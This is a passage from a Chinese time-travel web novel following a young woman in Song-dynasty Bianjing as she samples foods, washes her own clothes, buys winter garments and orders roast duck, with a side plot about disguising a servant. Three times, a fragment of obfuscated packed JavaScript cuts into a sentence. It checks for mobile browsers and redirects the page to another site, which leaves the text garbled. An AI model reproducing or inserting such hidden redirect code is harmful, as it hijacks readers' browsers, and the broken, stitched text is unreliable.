孟嫣有些好奇，一来好奇这荷叶里是什么，二来好奇小贩还能进人家店里卖东西？ 不过很显然，店家是允许商贩进来的。 孟嫣拿过荷叶包，问：“这是什么？” 小贩笑着道：“这是萝卜糕，刚下来的萝卜做的，甜着呢！小娘子买一包尝尝？回去煎来也是好吃的。” 倒是可以当明天的早饭，孟嫣便留下了。 这边小贩去了下一桌，孟嫣的吃食也送了过来。 蝴蝶面就是做成蝴蝶形状的面，里面是肉酱汁，上面盖了五片煎肉。 孟嫣对羊辣羹更感兴趣，毕竟瓠羹店自然是“羹”为招牌。 孟嫣先尝了一口羊辣羹，胡椒味道很浓，以淀粉勾了薄芡。 羊肉切成细细的肉条，口感很嫩，里面还有不知是什么的菜蔬，吃起来像泡面蔬菜包里面的蔬菜，口感脆揪揪的，带着一丝极其细微的甜。 不知这是不是瓠瓜？若是的话，那也应该是晒成的瓠瓜干，否则不会是这个口感。 孟嫣不喜欢这个口感，每次煮泡面都不加蔬菜包。 只吃了几口，就将刚买的萝卜糕拿了出来。 萝卜糕四四方方，白白的，是蒸制而成。 虽然有些凉了，味道却不错，若是里面加一些腊肠虾干，就有几分广式腊味萝卜糕的味道了。 孟嫣一口萝卜糕，一口羊辣羹，又一口蝴蝶面。 虽然不喜欢那个泡面蔬菜包的口感，孟嫣还是都吃光了。 心下暗道，下次不吃这个了。 孟嫣这边算是“吃饱喝足”时，王牙婆刚从萧遇的宅子出来。 戍安早就和牙行王牙婆打了招呼，若是孟小娘子上门雇觅女使，他们有更好的人选。 刚刚王牙婆来告知他们孟小娘子上门了，却说孟小娘子要找临时浣衣洗物的人，并没有要找长契女使的意思。 王牙婆走后，萧遇和戍安倒是没什么反应，林檎却跳了起来：“那、那我这眉毛白剃了？” 戍安悠悠地道：“明日我再同欢娘去请教请教，定然不让你这个眉毛白剃。” 14. 兜子 孟嫣暂时歇了找个临时浣衣洗物的人的心思，决定这三个月还是自己洗衣。 次日一早就爬了起来，推开屋门，被晨霜冰的一哆嗦。 东南方向的桂花已经落了一地，高挂枝头的柿子也落在地上了两颗，上面还浮着一层白霜。 没想到昨日早上还只需穿件厚衣外裳，今日就得穿夹袄了。 孟嫣加了件夹袄，打算先给自己煮一盏暖茶暖暖身子，然后去州桥那边的铺子逛逛。 既然要自己洗衣，那就得买个葫芦瓢，用来一瓢一瓢往后院渗井倒污水，不过若是有轻一些的盆子就更好了。 孟嫣一边想着一边去水缸里舀水，骤然发现水缸也见了底…… 孟嫣呆了呆，看了看院子里的水井，又看了看比木盆还沉的木桶，思索着要不要出门请个人帮忙提水。 最终孟嫣还是否决了。 若是孙婶婶还住在隔壁，她会毫不犹豫地请个人，毕竟若是发生了什么，朝隔壁喊上一声就行。 现在孙婶婶已经去了琼波楼，终究还是不妥，等熟悉了一些再说吧！ 至于请吴郎君帮忙……万一他又讨什么吃食呢？ 虽然给钱，但孟嫣暂时不想洗碗，明年之前还是能避开就避开吧！ 这样一来，还要寻觅个小水桶才是，她可以少量多次的自己提水。 孟嫣就用水缸里的一点水简单清洗一翻，出门直奔州桥而去。 她记得上次本来要去吃薛家分茶，结果脚步一转就去吃了鹿家包子，今日正好补上。 孟嫣这边刚出门不久，萧遇三人也出了门，却是去了桑家瓦子。 桑家瓦子是汴京最大的瓦肆，里面有大小勾栏五十余座，三人要去的则是歌伎欢娘的莲花棚。 此时虽是清晨，瓦肆内却十分热闹。 刚进巷口就能听见铜锣声和叫“好”声，再往里走则又听见说书人捏着嗓子学那佳人诉怨，转了个弯就见杂耍艺人正翻着筋斗，间或夹杂着商贩的叫卖声…… 戍安轻车熟路地引着萧遇、林檎二人往里走。 萧遇神色淡淡，林檎却新鲜地东瞧西看。 汴京城内大小瓦子二三十余处，他却从未来过，一时就走的慢了些，被萧遇暼了一眼才嘿嘿笑着跟了上来。 到了莲花棚，喧嚣的声音远去，里面安静了许多，和刚刚路过的那些勾栏截然不同，这边只有轻轻柔柔的低吟浅唱从帘幕后面传出来。 几名富家子弟神情陶醉地跟着摇头晃脑，歌声落下，将手边的酒一饮而尽，扔一包银子给伙计，又同伙计说了几句什么，很快，帘幕后面又唱起了新曲。 戍安带着二人从前面绕过，去到后面的舍间。 一名轻纱白衣女子正对着镜子往脸上敷粉，见到戍安，先“哎呦”了一声，才十分熟稔地道：“什么风把戍郎君你给吹来了？你家侯爷这次没让你去做什么见不得人的勾当？” 戍安轻声咳了咳。 女子这才看见他身后还跟着两个男人。 一个长相讨喜，就是面皮黑了点。 另一个嘛，女子眼睛一亮，放下手里的物事，妖娆妩媚地将戍安挤开，围着萧遇转圈打量了起来，最后停在他面前，眼波流转地娇声开口：“难不成这就是传闻中大名鼎鼎地长宁侯萧侯爷？看上去也不凶嘛！真不知是谁在胡乱瞎传。” 萧遇神色更淡了，暼了眼戍安。 戍安又咳了一声，将女子拉开：“我今日过来，是想请欢娘帮这位梳裹装扮成女使模样。” 说着就指了指林檎。 原本今日他想自己过来请教，可转念想到昨日敷在林檎脸上的粉渣子掉的厉害，还是带他过来让欢娘亲自瞧瞧的好，没成想侯爷也跟了过来。 那边欢娘对萧遇的冷淡丝毫不介意，莲步轻移到了林檎面前。 林檎少见的有几分无措，鼻尖全是这个叫欢娘的女子的脂粉香，他微微发黑的脸上憋的通红，立时就要跳开。 欢娘比林檎还高上一些，动作迅速地按住他的肩膀，轻“啧”了一声，声音骤然一变，粗声道：“都是男人，害什么羞！” 林檎难以置信地抬头，瞳孔震了震，一时觉得是不是自己听错了。 扭着脑袋朝自家侯爷看去，又被欢娘两根指头捏住了下巴：“别动！” 萧遇神色也惊了惊，无声地看向戍安。 戍安摸了摸鼻子：“欢娘，是男人。” 欢娘对震惊的主仆二人没有任何反应，俯身凑近细细瞧了瞧林檎的脸，又捏了捏，最后去铜盆那里将帕子打湿，缓缓擦起了手指，着重擦了擦捏过林檎下巴的那两根。 “这位小郎君若想扮成女人，这张脸得养上些时日，太糙了。” 欢娘又恢复了女子娇柔的声音，嫌弃地说道。 戍安：“要如何养？” 欢娘将帕子扔进铜盆：“我可以给这位小郎君配一副面药，用这副面药日日敷面，敷十日，歇十日，如此三个来回，脸就养回来了，到时无论怎样敷粉擦红都不会再掉渣。” 戍安：“要这么久？” 欢娘吃吃笑了一声：“我的戍郎君，你也不瞧瞧这位小郎君的面皮儿糙成什么样了？” 说完又望向林檎：“你也不觉得疼？” 林檎还处在震惊中，现在哪里还记得平日里这张脸疼不疼？ 欢娘也不多问三人要做什么，再次眼波流转地望向萧遇：“不过萧侯爷的这张脸若是扮起女人来，倒是十分合适。” 说着朝萧遇眨了眨眼。 萧遇神色已经如常，没接欢娘的话茬，而是道：“那就有劳欢……你给他配副面药。” 欢娘娇柔地应了一声，又道：“若萧侯爷哪日需要扮做女人，欢娘定会替侯爷装扮的一丝破绽也无。” 萧遇淡淡颔首：“那还真是多谢了。” 话落，便朝外走去，林檎立刻跟上，像后面有什么洪水猛兽一般。 正当萧遇三人从桑家瓦子出来时，孟嫣的早饭已经送了上来。 她今日在薛家食店点了各种馅料的兜子，外加一份羊血粉丝羹。 兜子，是一种由绿豆粉皮做成有馅的兜子形蒸食，看上去有点像水晶虾饺，只不过馅料切法不同。 像胡桃羊兜，羊肉就切的精细，搭配着炒过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929353|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的胡桃仁，一口下去，既有果仁香，又有羊肉香。 松仁鸭兜就不一样了，鸭肉切成了细丁，加入生的松仁和少量糯米，松香十足。 再有三鲜兜子，则是将蘑菇和笋肉切丁，径直包入薄皮中，整只塞入口中，全是山鲜的味道。 孟嫣将食店内的鱼鸡鸭鹅、猪羊鹌鹑、笋蘑杂菜等二十余种兜子通通点了一遍，配上软嫩细滑的羊血粉丝羹，吃的那叫一个满足。 她轻轻摸着吃到微微鼓起的肚子，庆幸这时的裤子是用带子系的，若是扣子的，难说不会绷开。 孟嫣付了钱，出门后店内又飘出了桂花的味道，刚想回去问问伙计这是什么，就听见伙计低声惊叹：“第一次见这么能吃的小娘子，一个人吃了二十几个兜子，还加一碗羹！” 孟嫣一个趔趄止住了掉头的步子，匆匆朝杂卖处走去。 葫芦瓢很容易就能买到，小型木桶却少有，孟嫣就同店家定制了一个，过两日直接送去小甜水巷。 只不过这两日想从井里提水是不能了，孟嫣就从卖水小贩那里先买了两担。 水贩送水过来时，见孟嫣院子里有一口井，狐疑地看着孟嫣。 换成别人，可以不理睬水贩的狐疑，可孟嫣还是编了一个理由：“这两日水浊……” 水贩恍然，道：“小娘子可以去巷口寻那陶井的，当日就能陶好，过两日这井就能用了。” 孟嫣道谢，将水贩送出了门，然后将大门落锁。 买了葫芦瓢，孟嫣将衣篓里的衣裳都泡进了盆子里，加入煮好的皂荚水，涮了几遍，最后再涮掉泡沫，就搭在了晾衣架上。 自己洗衣……好像比想象中的好上许多，也不知是这只葫芦瓢的加成，还是自己已经习惯了？ “洗”完衣裳，孟嫣又想到了别的事。 今早的晨霜给她提了个醒，她也应该为过冬做些准备才是。 原身的衣裳其实并不多，冬衣就有这一件夹袄和一件狐皮斗篷，还是要再买两件才是。 再有，就是夜里睡觉的问题。 孟嫣又翻了翻，从衣橱下面的箱笼里翻出一床狐皮毯子，还有一只汤婆子，到时候再在床前放一只炭炉，这样应该够了吧？ 孟嫣先这样备着，若是再冷，就再想法子就是了。 孟嫣又闲了下来，静静窝在榻上，忽而觉得自己像是与世隔绝了。 在现代，她喜欢安静，喜欢独处，但是这是在有手机的前提下。 即便不和任何人交流，让她一个人待上数月都没什么问题。 可现在，孟嫣除了看着窗外那株光秃秃的海棠树，没别的事可做。 她翻了个身，目光猛然投在书案的几本书上。 孟嫣翻身下榻，走到书案前，随意翻开一本，是教女红的。 再翻开一本，是教理账的。 再一本，是唐诗。 孟嫣：…… 原身的日子不觉得枯燥吗？ 都不看话本吗？ 孟嫣觉得自己又有事做了，去淘些话本子来看。 她记得后日是相国寺的集市？正好可以去逛逛。 15. 置办冬衣 汴京这两日一日冷过一日。 早上起床，孟嫣的手都不想伸出来，却还是不得不爬起来，今日她得去置办几件御寒衣物。 早饭随便吃了两只羊肉胡饼，又喝了一碗鹌鹑粉丝羹，孟嫣就匆匆去了成衣铺子。 这时候若是再现做衣裳，恐怕来不及了，好在孟嫣对于穿也没那么讲究，更确切地说，她也讲究不来，因为不懂。 衣裳只要穿着舒适不丑就行，冬日保暖，夏日清凉，除此再别无他求。 成衣铺子人不算多，许是汴京百姓多是自己缝制御寒衣物的缘故。 女掌柜见孟嫣进来，热情地迎了上来：“小娘子要选看些什么？咱们这的样式可是州桥这一带最全的。” 说完暗暗将孟嫣上下打量一翻，道：“我为小娘子细说细说？” 孟嫣点了点头道了声：“有劳了。” 女掌柜细致地一样一样为孟嫣介绍起来。 原来这时候棉花还没普及推广开来，冬季御寒衣物主要以丝绵为主，丝绵又分上等茧绵、中等税绵和下等絮绵。 上等茧绵雪白柔软，保暖性极佳，有“一斤丝绵暖三冬”之说，通常提供给皇室和权贵高门。 税绵是可以用来流通抵税的常行绵，汴京百姓多用此绵。 絮绵则是缫丝的下脚料碎屑，虽然便宜，但保暖程度也可想而知。 铺子中大部分多为税绵制成的袄裤，少部分用絮绵制成，仅有两件是上等丝绵。 袄裤又分不同品级的丝帛和麻葛材质，价格上也就相差颇多。 孟嫣最后挑了四件以税绵填充的中等品级的绢布袄裤，花了近三贯钱之多。 孟嫣咂舌，这还没买冬鞋呢！ 这边刚想着，女掌柜就问孟嫣需不需要暖履。 自然需要！ 暖履就是这时候过冬的冬鞋了，样式和现在的浅口单鞋差不多，内里有夹了绵的，也有絮了羊毛的。 孟嫣又选了两双羊毛冬鞋，正要付钱，目光瞟到了一双鞋头微微上翘的鞋子，且比正常鞋子要窄上许多。 女掌柜顺着孟嫣的目光看去，笑道：“这是前阵子一位客人托我们做的，她以布帛缠足多年，足窄而瘦，正常的鞋履穿不住。” 孟嫣淡淡点了点头，看来这时候审美刚开始畸形，以足纤直窄瘦为美，还没遍及各地。 这时候缠足也只是将脚往瘦窄处缠，导致脚趾上翘。 若是后面开始推崇三寸金莲的时候，那才叫惨！ 孟嫣不禁感到一阵庆幸。 幸好她没穿到女子必须裹足的朝代，这和厕纸比起来，于她而言，可严重多了！ 厕纸尚且可以解决，若是她一穿过来脚就变了形，做什么都一走三颤，还不如死回去呢！ 孟嫣依旧让掌柜将衣物送到小甜水巷，出门又直奔皮货铺子，她还想再买一件狐皮斗篷，万一现在这件脏了，还有的换。 只是她到了皮货铺子，却没有狐皮，店家说这可是紧俏货，可以去马行街那边的高档铺子转转，运气好许是能碰见。 高档铺子？还是紧俏货？ 孟嫣眼皮一跳。 是奢侈品的意思？ 那一件狐皮斗篷得多少钱？百八十两？还是上千两？ 若是再买一件，她手里的那一千多两银子怕不是立时就没了？ 孟嫣瞬间打消了再买一件狐皮斗篷的念头，却也第一次思索起原身究竟出身在一个什么样的家庭，原身的家究竟遭遇了什么？ 不过下一瞬，让她更为关心的是，原身不会有仇家吧？ 孟嫣情不自禁打了一个哆嗦，甩了甩头，将原身有仇家的想法甩出去。 只要甩出去了，就没有什么仇家。 孟嫣转念又想到了刚刚店主说到的马行街，看来是高档铺子云集的地方？是不是宋时很有名的潘楼也在那边？ 她自穿过来，一直在小甜水巷和州桥一带晃悠，还没去过其他地方呢。 若是去那边，走就要走上好久，还得租顶小轿或雇辆车马。 孟嫣想了想，改日去那边转转，看看潘楼里都有什么吃的。 今日她还要去趟大相国寺，淘几本话本子。 大相国寺在汴河以北，寺门正对广济桥，又称寺桥。 孟嫣从皮货铺子沿着汴河一路走到了寺桥，桥上就已经有许多行人了。 从寺桥过去，高大恢宏的建筑就全部展现在眼前，大门上有以金桐铸就的五百罗汉、佛牙等物，乍一望去，只觉震撼。 此时寺前人头攒动，摩肩接踵，除了游人，还有不少商贩挑担叫卖。 孟嫣随着人群走到了大相国寺门口，竟是一些卖猫猫狗狗和飞禽异兽的。 她一个人独居，其实应该买只狗，既能陪她又能看家护院。 少时在奶奶家时，她也养过一只，村里人叫狼狗，十分容易养活。 刚抱回来时，路都走不稳，黑黑黄黄的一团就跌跌撞撞奔着她走了过来，她没什么取名天份，就叫他“黑黑”。 她第一次给黑黑冲了奶粉，黑黑添了她的手指。 后来黑黑就一直跟在她的后面，渐渐长大。 她上学，黑黑送她出门。 她回来，黑黑接她回家。 她去厕所，黑黑就守在门外。 直到她被父母接回去上初中，黑黑只能继续养在奶奶家。 第一次寒假回来，黑黑跑出去好远接她，将她扑在雪地里，围着她撒欢，奶奶给她做了一桌她爱吃的菜。 再次回来，奶奶走了，黑黑变成了一张皮。 孟嫣轻轻吸了吸气，收回目光，朝寺里走去。 进了寺门，庭院里设了彩棚幕帐，廊下也都是摆摊的人。 左边的小贩正在给女子推荐钗环首饰，她旁边的摊贩则在卖洗漱用物。 右边几个妇人正在看果子腊脯，讨价还价后只买了两颗，气的商贩连连摆手让她们去别处。 再里面，还有卖鞍辔缰绳、长弓匕首的。 孟嫣一路看下去，杯盘碗盏、皮货漆器、桌案箱笼什么都有，竟然还有卖妇人假发髻的。 孟嫣摸了摸自己的发顶，她不会梳这时的发髻，每日只绑个丸子头就出门了。 这都让她觉得脑袋被勒得生疼，那些带假发髻的，先不说重不重，不觉得疼？ 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933679|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >孟嫣笑了笑，又一路看过去，再进了一道寺门，里面多是文墨纸笔、字画书册了。 孟嫣找的就是这个。 这边比之前面，人少了许多。 缓缓看过去，孟嫣在一处摊前挑了几本游记、志怪类书册，正打算回去时，摊主叫住了她。 孟嫣疑惑看去，就见摊主先四下看了看，然后才走近两步，问：“小娘子可要看些别的书目？” 孟嫣想着这几本书就够她看一阵子了，正要拒绝，就见摊主神神秘秘从袖口抽出一本已经微微打卷的书，却只露出书名，在孟嫣面前晃了一下，就迅速收了回去。 孟嫣只看清了“香艳”二字。 只这两个字就够了。 孟嫣想起了看过的电影里的片段：男人在街上四处溜达，最后走到一人面前，警惕的看着周围，嘴里压着声音，问：“要碟吗？” 然后动作迅速地敞了一下衣襟，衣服两侧挂了满满当当的光碟。 现在这个摊主问她看不看别的书目，就如同问她“要碟吗？” 若是换成这时候别的女子，内敛些的就红着脸快步走开，泼辣些的定然啐他一口唾沫星子。 可孟嫣有几分好奇，摊主这么神神秘秘的，能有多香艳？ 孟嫣本着拿回去和现代做做对比的正义想法，买了一本。 往回走的时候，人更多了。 孟嫣只得抱着书小心地避着人，即便这样，还是被人挤的一个趔趄，随即撞到一个女子身上。 “走路不长眼睛的？我这件狐皮斗篷若是撞坏了你赔得起？” 女子一边呵斥孟嫣一边拍着被她撞到的地方，像是在拍什么脏东西。 孟嫣回身，这才看见自己撞到了一名女子身上，女子穿着件狐皮斗篷，只是这张皮子的成色显然比原身那一件差太多。 孟嫣连声赔罪，她虽有一件，那也不能赔出去，她还得过冬呢！ 那女子暼了孟嫣一眼，蹙着眉和身边的女使嘟囔道：“蓬门小女，简直粗陋不堪！快回吧！” 女子走后，周围有人“呸”了一声：“这时候就穿着皮斗篷出来显摆，也不怕热着！” 孟嫣笑了笑，倒没觉得生气。 那女子想来也不常得一件狐皮斗篷。 刚刚她从皮货铺子得知狐皮斗篷这么贵，换成她被撞一下也心疼。 孟嫣丝毫没把这件事放在心上，抱着书册往回走，路过卖时下鲜果的地方，见到有一种小小的，只有拇指大小褐色的果子，上面还带着斑点，像小小的梨子。 孟嫣好奇问了问。 小贩道：“小娘子，这叫棠梨，已经被霜打过，好吃着呢！” 孟嫣知道好多果子被霜打过甚至被雪埋过才会去掉涩味，变的酸甜软糯。 像东北的菇娘果，现在市面上多是黄色的果子，因外形像灯笼也叫灯笼果。 还有一种是红色果子的菇娘果，这种果子没成熟前特别苦，成熟变红后苦味略减，只有被霜打过苦味还彻底淡去，若是再下一场雪，果子就会变的酸酸甜甜。 想来这棠梨也是这样。 孟嫣买了一份，这才抱着书册回了小甜水巷。 16. 点外卖炙鸭 孟嫣回来后，前两日定制的小型水桶和今日买的冬衣、冬鞋也陆续送了过来。 一一试过后，收放齐整，又将棠梨洗了，坐在榻上翻起刚刚买的书册，尤其那本写着“香艳”二字的书册。 书的全名叫“梅夫人香艳一二事”，她刚翻开第一页就见两个大字写着：灌肠。 孟嫣脑子一下就想歪了，被惊的好一会儿才翻到了下一页：取羊盘肠，洗净，羊肉切碎成馅，细切葱白……炙烤割食，味甚美……此乃梅夫人秘法。 孟嫣：…… 还真是灌肠…… 孟嫣迅速将书翻了一遍，全书都在教人做吃的，里面不乏提到了如何蜜炙鱼肉，如何煎鸭，如何腌菜…… 孟嫣：…… 一本菜谱有必要这么神神秘秘吗？ 价钱和其他书也没什么区别。 孟嫣气笑了。 随手拿起一颗棠梨送到口中，竟是酸甜软糯还冰冰凉凉的。 好吃！ 孟嫣一颗接着一颗，没多一会儿，就将棠梨吃了个一干二净。 正打算看自己选的几本书时，就听到此起彼伏的吆喝声在巷子里飘荡开来。 “张家肉煎鱼、煎小鸡、煎鹅鸭、煎衬肝肠……送饭上门嘞！” “杨家插肉面、大燠面、大小抹肉淘……管送不要跑腿钱……” “乳糕、栗糕、丰糖糕……” “……” 孟嫣竖着耳朵听了一会儿，这是……外卖？ 她立即放下书，朝外走去。 打开院门，就见身穿不同短褐的食店伙计，手里举着“张家杂煎事件”“杨家食面店”“朱家糖蜜糕”…… 已经有人招手同食店伙计点餐了。 孟嫣也想体验一下这时的外卖，就朝离她最近的一个伙计招了招手。 伙计是“余家炙鸭铺”的，看见孟嫣招手，小跑上前笑问：“小娘子来份炙鸭？咱家炙鸭皮焦肉嫩，配上隔壁的胡饼，再来一碗素羹，神仙吃了都不想走。” 孟嫣好笑地听着。 这伙计不仅卖自己店里的炙鸭，还顺带帮着别家食店卖饼羹。 不过这炙鸭可是后世的北京烤鸭？ 据说后世的北京烤鸭就起源于宋朝，随着朝代更迭、王朝迁都带到了北京，并发展成熟。 以至到了现代，许多人都知道北京烤鸭，却不知汴梁开封也有烤鸭。 如果这真是烤鸭，那岂不是荷叶饼更好？再来些葱丝、瓜条、山楂条，配上甜面酱一卷…… 孟嫣咽了咽口水，当即要了一份炙鸭，没要胡饼和素羹，多付一些跑腿钱请伙计去春饼店带份荷叶饼和一些葱丝、菘菜之类的时蔬，再来一份甜面酱。 伙计听着新鲜，却也记下了孟嫣的要求。 孟嫣看了几个志怪故事后，伙计就把吃食送来了。 吃食用包裹严密的食盒装着，送过来时还是热的。 就是看起来好像和想象中的不太一样。 后世的烤鸭皮脆油亮，肉嫩不焦，单吃鸭皮就酥香可口，一咬仿佛就化在了嘴里，却吃不出丝毫油腻。 可是这个炙鸭……皮焦不脆，还有鸭子的油脂，难不成是外卖的缘故？ 好在鸭肉本身就带着香料的味道，空口吃也很好吃，可能的确如那伙计所说，配着胡饼会更好吃。 将酥脆的胡饼从中间一分为二，夹入鸭肉，就变成了一个……鸭肉夹馍。 孟嫣笑了笑，用荷叶饼卷起炙鸭来。 很快，一份炙鸭就入了腹，孟嫣摸了摸肚子，觉得好像没吃饱，不如去店里尝尝现炙的炙鸭？万一和后世烤鸭差不多呢？ 孟嫣立即将碗碟收入食盒，兴冲冲去了炙鸭铺子。 炙鸭铺子在州桥一带，距离小甜水巷不算太远。 等孟嫣兴冲冲到的时候，本就没吃太饱的她又饿了。 饿了正好，那就再要一份炙鸭。 进了铺子，还是午间来小甜水巷叫卖的那个伙计。 见到孟嫣连忙过来笑道：“食盒下午我过去取就是了，怎还劳小娘子亲自送过来？” 孟嫣将食盒递过去，也笑道：“晌午那份炙鸭太好吃，吃完还惦记，想着过来再吃一份，就顺路带过来了。” 伙计一听，当即一乐，立刻引着孟嫣落座。 孟嫣这才打量起铺子来。 铺子不大，里面只有三张桌子，想来是已经过了饭点没什么人。 门外摆着一个大的圆肚形烤炉，孟嫣刚刚看到伙计从里面拎出了半只色泽金黄鸭子。 很快，伙计将切好的炙鸭送了过来，还问这次要不要荷叶饼。 孟嫣：“这次我想试试用胡饼配来吃。” 伙计一听，又一乐。 立刻朝旁边胡饼铺子喊了一嗓子：“三娘！——来两个胡饼——！” 话音刚落没一会儿，两个胡饼就送到了孟嫣的桌子上。 孟嫣先同伙计要了水洗了洗手，这才拿起胡饼。 胡饼已经从中间切好，明显是用来夹炙鸭的。 看来来炙鸭店的食客都这么吃，倒不是她独创了。 伙计后在一旁看的稀奇，只觉这小娘子还真讲究，这么多年就没见过一个来店里的食客吃饭先洗手的。 孟嫣不知伙计在腹诽什么，自顾自地吃了起来。 果真，炙鸭和胡饼搭配起来才更美味。 胡饼酥香，上面满满一层芝麻。 现炙的鸭肉也比刚刚吃的更好吃，就是皮依旧只焦不脆。 看来是做法问题了。 孟嫣一边吃一边望着门外的烤炉，想着如何才能吃到她心目中外皮酥脆鸭肉细嫩的烤鸭。 不知不觉，一份炙鸭就进了肚。 此时盘中还有一个胡饼没吃呢！ 一份炙鸭只够夹一只胡饼，孟嫣又要了份炙鸭。 伙计看的直咂舌：这小娘子可真厉害！别看瘦瘦小小的，一次能吃三份炙鸭！ 汴京城内，他就没见过这么能吃的小娘子！真是人不可貌相！ 很快，孟嫣将炙鸭和胡饼吃的一干二净，目光却一直瞟着外面的烤炉。 伙计上前试探：“……小娘子可吃好了？” 通常店家问食客是不是吃好了，一个是问吃没吃饱，另一个就是问味道满不满意了。 伙计被孟嫣小小的震撼了一把，这个“吃好”自然重点放在吃没吃饱上。 孟嫣并未察觉伙计的震撼，她这食量在后世真算不得什么，宋人以纤细为美，自然食的不多。 加上她这几份炙鸭吃下来，已然对后世的烤鸭产生了小小的执念，把伙计问的这句“吃好”的重点放在了味道如何上。 孟嫣收回目光，习惯性摸了摸肚子，笑道：“还行。” 伙计：…… 她弯了弯眼睛，又道：“就是味道……” “味道怎么样！” 孟嫣话还没说完，就被一声粗喝打断。 循声望去，就见一个以青布裹头、络腮满脸、五大三粗的汉子从厨房走了出来，每一步都让孟嫣觉得地动山摇的。 孟嫣本就被这声粗喝吓了一跳，见到来人，笑容都凝固在了脸上。 这是说人家手艺不行被抓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938777|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个现行？ 可她还没说出口呀！ 伙计却叱了一声：“大哥哥！别吓到小娘子！” 复又换成笑脸看向孟嫣：“小娘子，这位是我大哥哥，他说话就这个调，没有恶意。” 孟嫣瞅瞅伙计，又瞅瞅汉子，只觉得伙计笑里藏刀，这俩人在一个唱白脸一个唱红脸！ 孟嫣吓得心跳不稳，手都抑制不住地抖了起来。 粗汉子倒是止了步子，声音也放轻了一些：“味道怎么样？！” 可听上去还是粗声粗气的。 她忍不住全身都发起抖来，却还是哆哆嗦嗦地说出了几个字：“皮、皮、皮不、太脆……” 伙计：…… 伙计连推太搡地将汉子往后厨推，汉子却岿然不动，目光盯着孟嫣，面上浮现几分茫然：“啥？” 孟嫣见汉子脸上浮现出与他凶凶神恶煞的貌毫不相符的神色，竟奇异地平静下来。 孟嫣：“那个、那个炙鸭，皮不脆，我喜欢皮脆的。” 汉子将伙计轻轻一拨，锁眉沉思片刻，道：“过几日你再来，我给你炙个脆的！” 孟嫣一听，眼睛一亮，什么害怕都忘了，连声答应。 没想到这汉子看上去凶神恶煞的，竟这么容易就应了食客的喜好。 这敢情好呀！她能吃上北京烤鸭指日可待了！ 从炙鸭铺子出来，孟嫣心情雀跃，这雀跃的心情一直持续到夜里。 孟嫣都不知她是幸运还是不幸，今日刚买了冬衣冬鞋，夜里这汴京的天又降温了。 她是被冻醒的。 孟嫣打着哆嗦翻出了狐皮毯子给自己铺上，还想灌只汤婆子。 可灌汤婆子还要爬起来去厨房烧水，天实在太冷了，根本连动都不想动一下。 孟嫣只好将自己囫囵个裹在狐皮毯里，就这么一直团到了天亮。 天亮时，孟嫣从被窝里探出头，觉得自己呼吸都凝成了白气，随着她一吸一呼往外冒。 她做了做心理建设，动作迅速地拿过袄子，刚套在身上就被冰的一哆嗦。 袄子浸了寒气，隔着中衣透进皮肤，让她的呼吸都忍不住停滞下来。 上牙磕打着下牙，直到袄子被自己体温焐热才开始起到保暖作用。 过了好久，孟嫣才穿戴整齐。 推开屋门，竟然下雪了！ 雪深虽未及膝，却是没过了脚踝。 孟嫣脚上穿着昨日刚买的那双鞋帮低浅的冬鞋，这样出去，不消片刻，鞋袜定然都会湿透。 可若是不出去，难不成在这温度和外面差不了多少的屋子里等死？ 炭和水都在厨房，就算想扫出一条小路，扫帚也在厨房。 孟嫣重重叹息一声，顶着纷纷扬扬的雪花，硬着头皮一步一步走近雪里。 到了厨房，先扫了扫鞋和裤腿沾上的雪，这才哆嗦着用风炉煮上一壶茶，拎过扫帚吭哧吭哧扫了起来。 雪还在下，这边刚扫出几步长，扫过的地方又落了一层雪。 她的手已经冻得通红，牙齿又抑制不住地上下磕打起来。 冬日才刚刚开始，过几日只会越来越冷。 孟嫣想到昨晚被窝里处处都透着寒凉。 今晚还要自己烧水、灌汤婆子、暖被窝…… 不到半夜，汤婆子又会冷了…… 孟嫣又打了个哆嗦，还是要尽快请个女使才是。 她没有封建思想，可这里的冬天实在太冷了，冷到她都不怕遇到个心术不正的人了！ 孟嫣将扫帚一扔，熄了风炉，穿上狐皮斗篷，直奔牙行。 17. 王楼山洞梅花包 雪路难行。 街巷上虽已有了车辙和脚印，却还是因为湿滑让孟嫣不得不放慢了步子。 汴京城里并非都是砖石路，将化未化的雪混着泥沙已经变的灰扑扑的，每走一步，孟嫣的鞋袜都湿上一分，也脏上一分。 市井百姓对此已经习以为常，依旧面不改色地赶着路。 出了巷子，到了宽阔街道，车马多了起来，都朝着城门的方向一拥而去。 其中不乏宝盖华车，里面坐着不知谁家闺秀。 亦有身穿锦袍披着狐裘的高门子弟打马而过，嘴里还朝同伴嚷着：“快些！若是等人多了起来，城郊的好景致可就都被糟蹋了！” 原来是去城郊赏雪。 果真，雅兴这东西都是在生活无忧的基础之上才有。 孟嫣低头看了看自己的鞋袜，要是有暖靴就好了。 